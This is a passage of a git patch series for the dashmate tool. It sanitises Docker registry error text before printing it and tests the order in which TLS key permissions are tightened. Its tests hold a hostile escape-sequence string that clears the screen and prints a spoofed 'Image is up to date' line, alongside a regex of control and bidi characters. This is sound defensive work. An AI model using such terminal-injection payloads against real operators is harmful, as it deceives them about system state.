+ it('should build the images of a group configured to build them', async function it() { + const configs = [createBuildingConfig(this.sinon)]; + const { dependencies, startGroupNodesTask } = createFactory(this.sinon); + + await startGroupNodesTask(configs).run({ waitForReadiness: false }); + + expect(dependencies.buildServicesTask).to.have.been.calledOnceWith(configs[0]); + }); + + // Restart builds the images before it stops anything, so that a build + // failure cannot leave the group down. Building them again here would make + // every restart of a development group pay for the whole build twice. + it('should not build again for a caller that has already built', async function it() { + const configs = [createBuildingConfig(this.sinon)]; + const { dependencies, startGroupNodesTask } = createFactory(this.sinon); + + await startGroupNodesTask(configs).run({ + waitForReadiness: false, + skipBuildServices: true, + }); + + expect(dependencies.buildServicesTask).to.not.have.been.called(); + }); + }); }); From 20009a21c2d6bfd3443a569a942da37489e58540 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 19:51:41 +0700 Subject: [PATCH 5/8] fix(dashmate): print a registry's own words without letting it drive the terminal A failed pull is now reported with the reason the registry gave, and that text reaches the operator's terminal unchanged. The registry chooses it: an escape sequence in it can erase the screen, move the cursor back over lines already printed or address the terminal itself, and an unbounded message pushes the rest of the output out of the scrollback. The same text is also carried in the JSON output, where a caller may hand it on somewhere else. Control characters and bidirectional overrides are therefore removed, the message is collapsed onto one line and its length is bounded, at the two points where the text is taken: the failure a pull stream carries in band, and the message the pull callback reports. Test would have caught this in CI: the new update spec fails before the fix. Co-Authored-By: Claude Opus 5 (1M context) --- .../src/docker/findPullStreamError.js | 7 ++- .../dashmate/src/update/updateNodeFactory.js | 8 +++- .../dashmate/src/util/sanitizeRemoteText.js | 43 +++++++++++++++++++ .../test/unit/commands/update.spec.js | 19 ++++++++ .../test/unit/util/sanitizeRemoteText.spec.js | 36 ++++++++++++++++ 5 files changed, 110 insertions(+), 3 deletions(-) create mode 100644 packages/dashmate/src/util/sanitizeRemoteText.js create mode 100644 packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js diff --git a/packages/dashmate/src/docker/findPullStreamError.js b/packages/dashmate/src/docker/findPullStreamError.js index 3004d1d801d..58dacaf9ae0 100644 --- a/packages/dashmate/src/docker/findPullStreamError.js +++ b/packages/dashmate/src/docker/findPullStreamError.js @@ -1,3 +1,5 @@ +import sanitizeRemoteText from '../util/sanitizeRemoteText.js'; + /** * Find a failure reported inside a Docker pull progress stream * @@ -5,6 +7,9 @@ * failures as a message in the progress stream, so a completed stream doesn't * mean the image was pulled. * + * The registry chooses the text of that message and it ends up on the + * operator's terminal, so it is made safe to print before it is passed on. + * * @param {Object[]} output - messages collected from the pull stream * @return {string|undefined} failure reason */ @@ -15,5 +20,5 @@ export default function findPullStreamError(output) { return undefined; } - return failure.errorDetail?.message ?? failure.error; + return sanitizeRemoteText(failure.errorDetail?.message ?? failure.error); } diff --git a/packages/dashmate/src/update/updateNodeFactory.js b/packages/dashmate/src/update/updateNodeFactory.js index cd43c6f75d2..149b66a668a 100644 --- a/packages/dashmate/src/update/updateNodeFactory.js +++ b/packages/dashmate/src/update/updateNodeFactory.js @@ -1,5 +1,6 @@ import lodash from 'lodash'; import findPullStreamError from '../docker/findPullStreamError.js'; +import sanitizeRemoteText from '../util/sanitizeRemoteText.js'; /** * @param {getServiceList} getServiceList @@ -33,8 +34,10 @@ export default function updateNodeFactory(getServiceList, docker) { return new Promise((resolve) => { docker.pull(image, (err, stream) => { if (err) { + // A registry response body can reach the operator's terminal + // through this message, so it is made safe to print resolve({ - name, title, image, updated: 'error', error: err.message, + name, title, image, updated: 'error', error: sanitizeRemoteText(err.message), }); return; @@ -44,7 +47,8 @@ export default function updateNodeFactory(getServiceList, docker) { // chunks, splits them the way Docker writes them and reports // transport failures. A failed pull arrives as a regular message docker.modem.followProgress(stream, (streamError, output) => { - const error = streamError?.message ?? findPullStreamError(output); + const error = sanitizeRemoteText(streamError?.message) + ?? findPullStreamError(output); if (error) { resolve({ diff --git a/packages/dashmate/src/util/sanitizeRemoteText.js b/packages/dashmate/src/util/sanitizeRemoteText.js new file mode 100644 index 00000000000..caf6c18c847 --- /dev/null +++ b/packages/dashmate/src/util/sanitizeRemoteText.js @@ -0,0 +1,43 @@ +/** + * Longest remote message that is printed. Long enough for a registry error to + * stay useful, short enough that it cannot push the rest of the output out of + * the operator's scrollback. + */ +const MAX_LENGTH = 500; + +/** + * Characters that must never reach a terminal: the C0 controls, which include + * ESC and therefore every ANSI sequence, DEL, the C1 controls, and the + * bidirectional overrides that let text reorder how it is displayed. + */ +// eslint-disable-next-line no-control-regex +const UNPRINTABLE = /[\u0000-\u001F\u007F-\u009F\u200E-\u200F\u202A-\u202E\u2066-\u2069]/g; + +/** + * Make text received from a remote service safe to print + * + * A Docker registry chooses the text of the errors it returns, and that text is + * relayed to the operator's terminal. Escape sequences in it can rewrite lines + * that were already printed, hide what follows or address the terminal itself, + * so nothing but printable characters is passed on. + * + * @param {*} text + * @return {*} the text with control characters removed and its length bounded, + * or the value unchanged when it is not a string + */ +export default function sanitizeRemoteText(text) { + if (typeof text !== 'string') { + return text; + } + + const printable = text + .replace(UNPRINTABLE, ' ') + .replace(/ {2,}/g, ' ') + .trim(); + + if (printable.length <= MAX_LENGTH) { + return printable; + } + + return `${printable.slice(0, MAX_LENGTH)} (truncated)`; +} diff --git a/packages/dashmate/test/unit/commands/update.spec.js b/packages/dashmate/test/unit/commands/update.spec.js index df80efaea29..3b03861a4ce 100644 --- a/packages/dashmate/test/unit/commands/update.spec.js +++ b/packages/dashmate/test/unit/commands/update.spec.js @@ -659,6 +659,25 @@ describe('Update command', () => { expect(process.exitCode).to.equal(1); }); + // The registry chooses this text. Printed as it arrives, an escape sequence + // in it can rewrite lines already on screen, hide what follows or address + // the terminal itself, and an unbounded message pushes the rest of the + // output out of the operator's scrollback. + it('should not let the registry write escape sequences to the terminal', async function it() { + const hostile = `\u001b[2J\u001b[1;1HImage is up to date\u0007${'A'.repeat(5000)}`; + + mockDockerResponse = { errorDetail: { message: hostile }, error: hostile }; + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(stderr).to.not.contain('\u001b'); + expect(stderr).to.not.contain('\u0007'); + expect(stderr).to.contain('Image is up to date'); + expect(stderr.length).to.be.below(2000); + }); + it('should show images built from local sources as built locally', async function it() { mockServicesList = [ { name: 'fake', image: 'fake', title: 'FAKE' }, diff --git a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js new file mode 100644 index 00000000000..62023cd73ea --- /dev/null +++ b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js @@ -0,0 +1,36 @@ +import sanitizeRemoteText from '../../../src/util/sanitizeRemoteText.js'; + +describe('sanitizeRemoteText', () => { + it('should keep an ordinary registry message as it is', () => { + expect(sanitizeRemoteText('toomanyrequests: You have reached your pull rate limit')) + .to.equal('toomanyrequests: You have reached your pull rate limit'); + }); + + // ESC starts every ANSI sequence, and one printed as it arrives can erase the + // screen, move the cursor over lines already written or address the terminal + it('should remove escape sequences', () => { + const escape = String.fromCharCode(0x1b); + + const sanitized = sanitizeRemoteText(`${escape}[2J${escape}[1;1Hdenied`); + + expect(sanitized).to.not.contain(escape); + expect(sanitized).to.contain('denied'); + }); + + it('should collapse a message spread over several lines onto one', () => { + expect(sanitizeRemoteText('denied\n\tby the registry')).to.equal('denied by the registry'); + }); + + // An unbounded message pushes everything else out of the operator's scrollback + it('should bound the length and say that it did', () => { + const sanitized = sanitizeRemoteText('A'.repeat(5000)); + + expect(sanitized).to.have.lengthOf.below(600); + expect(sanitized).to.match(/^A+ \(truncated\)$/); + }); + + it('should pass through anything that is not a string', () => { + expect(sanitizeRemoteText(undefined)).to.be.undefined(); + expect(sanitizeRemoteText(null)).to.equal(null); + }); +}); From 1a512d8cdb73b9c8e6e6c130f6f6210ed4d962c5 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 19:52:42 +0700 Subject: [PATCH 6/8] test(dashmate): pin that an exposed TLS key is restricted before it is rewritten The replacement key is written into the inode the old one occupies, because the gateway's bind mount follows that inode rather than the path. Tightening the mode only after the write would leave the new secret behind the old, world readable permissions for as long as the write takes. The task already restricts the mode first, and the existing specs check only the mode the file is left with - which stays correct either way. This pins the order itself, so the window cannot be reopened by a refactor. Test would have caught this in CI: it fails when the tightening is moved after the write. Co-Authored-By: Claude Opus 5 (1M context) --- .../test/unit/ssl/saveCertificateTask.spec.js | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js index 36302014ad0..eeee7cfb1fc 100644 --- a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js +++ b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js @@ -146,6 +146,32 @@ describe('saveCertificateTaskFactory', () => { expect(mode(keyPath)).to.equal(0o600); }); + // The replacement is written into the inode the exposed key already occupies, + // because the gateway's bind mount follows that inode. Tightening the mode + // only after the write would put the new secret behind the old permissions + // for the length of the write, so it has to happen first. + it('should restrict an exposed private key before writing the new one into it', async function it() { + fs.mkdirSync(certificatesDir, { recursive: true }); + fs.writeFileSync(certificatePath, 'old-certificate'); + fs.writeFileSync(keyPath, 'old-key'); + fs.chmodSync(keyPath, 0o644); + + const modeWhenKeyWasWritten = []; + + const originalWriteFileSync = fs.writeFileSync.bind(fs); + this.sinon.stub(fs, 'writeFileSync').callsFake((filePath, data, options) => { + if (filePath === keyPath) { + modeWhenKeyWasWritten.push(mode(keyPath)); + } + + return originalWriteFileSync(filePath, data, options); + }); + + await savePair(); + + expect(modeWhenKeyWasWritten).to.deep.equal([0o600]); + }); + // Writing in place needs the owner write bit, so a key hardened to 0400 is // loosened for the write. A write that then fails must not leave it that way. it('should keep a hardened private key mode when the write fails', async function it() { From 68d467ede1b1aa824753389cdfd2e60a5fb31fb8 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 20:57:27 +0700 Subject: [PATCH 7/8] fix(dashmate): strip the invisible characters a registry can hide text behind The escape sequences that rewrite a terminal were already removed, but several characters that hide or reorder text were not: the Arabic letter mark, zero width space and joiner, the line and paragraph separators, and the byte order mark all survived into a message an operator reads to decide what to do next. Test would have caught this in CI: 6 of the new cases fail before the fix. Co-Authored-By: Claude Opus 5 --- .../dashmate/src/util/sanitizeRemoteText.js | 2 +- .../test/unit/util/sanitizeRemoteText.spec.js | 21 +++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/packages/dashmate/src/util/sanitizeRemoteText.js b/packages/dashmate/src/util/sanitizeRemoteText.js index caf6c18c847..dd713bce0be 100644 --- a/packages/dashmate/src/util/sanitizeRemoteText.js +++ b/packages/dashmate/src/util/sanitizeRemoteText.js @@ -11,7 +11,7 @@ const MAX_LENGTH = 500; * bidirectional overrides that let text reorder how it is displayed. */ // eslint-disable-next-line no-control-regex -const UNPRINTABLE = /[\u0000-\u001F\u007F-\u009F\u200E-\u200F\u202A-\u202E\u2066-\u2069]/g; +const UNPRINTABLE = /[\u0000-\u001F\u007F-\u009F\u061C\u200B-\u200F\u2028\u2029\u202A-\u202E\u2066-\u2069\uFEFF]/g; /** * Make text received from a remote service safe to print diff --git a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js index 62023cd73ea..878bba6022b 100644 --- a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js +++ b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js @@ -33,4 +33,25 @@ describe('sanitizeRemoteText', () => { expect(sanitizeRemoteText(undefined)).to.be.undefined(); expect(sanitizeRemoteText(null)).to.equal(null); }); + + describe('invisible and bidi characters', () => { + // Each of these is invisible or reorders what follows it, so a registry can + // use them to hide text in a message an operator is reading to decide what + // to do next. They are named by code point because writing them literally + // makes this file itself unreadable. + const HIDDEN = { + ESC: 0x1b, CR: 0x0d, DEL: 0x7f, + LRM: 0x200e, ALM: 0x061c, RLO: 0x202e, + ZWSP: 0x200b, ZWJ: 0x200d, + LS: 0x2028, PS: 0x2029, BOM: 0xfeff, + }; + + Object.entries(HIDDEN).forEach(([name, codePoint]) => { + it(`should not let a registry hide text behind ${name}`, () => { + const text = `left${String.fromCodePoint(codePoint)}right`; + + expect(sanitizeRemoteText(text)).to.equal('left right'); + }); + }); + }); }); From ba2ec49e84e5230b770aac0a751c0fe2a04f5b63 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 21:41:04 +0700 Subject: [PATCH 8/8] style(dashmate): one property per line in the hidden-character table Co-Authored-By: Claude Opus 5 --- .../test/unit/util/sanitizeRemoteText.spec.js | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js index 878bba6022b..0f02bc0ca06 100644 --- a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js +++ b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js @@ -40,10 +40,17 @@ describe('sanitizeRemoteText', () => { // to do next. They are named by code point because writing them literally // makes this file itself unreadable. const HIDDEN = { - ESC: 0x1b, CR: 0x0d, DEL: 0x7f, - LRM: 0x200e, ALM: 0x061c, RLO: 0x202e, - ZWSP: 0x200b, ZWJ: 0x200d, - LS: 0x2028, PS: 0x2029, BOM: 0xfeff, + ESC: 0x1b, + CR: 0x0d, + DEL: 0x7f, + LRM: 0x200e, + ALM: 0x061c, + RLO: 0x202e, + ZWSP: 0x200b, + ZWJ: 0x200d, + LS: 0x2028, + PS: 0x2029, + BOM: 0xfeff, }; Object.entries(HIDDEN).forEach(([name, codePoint]) => {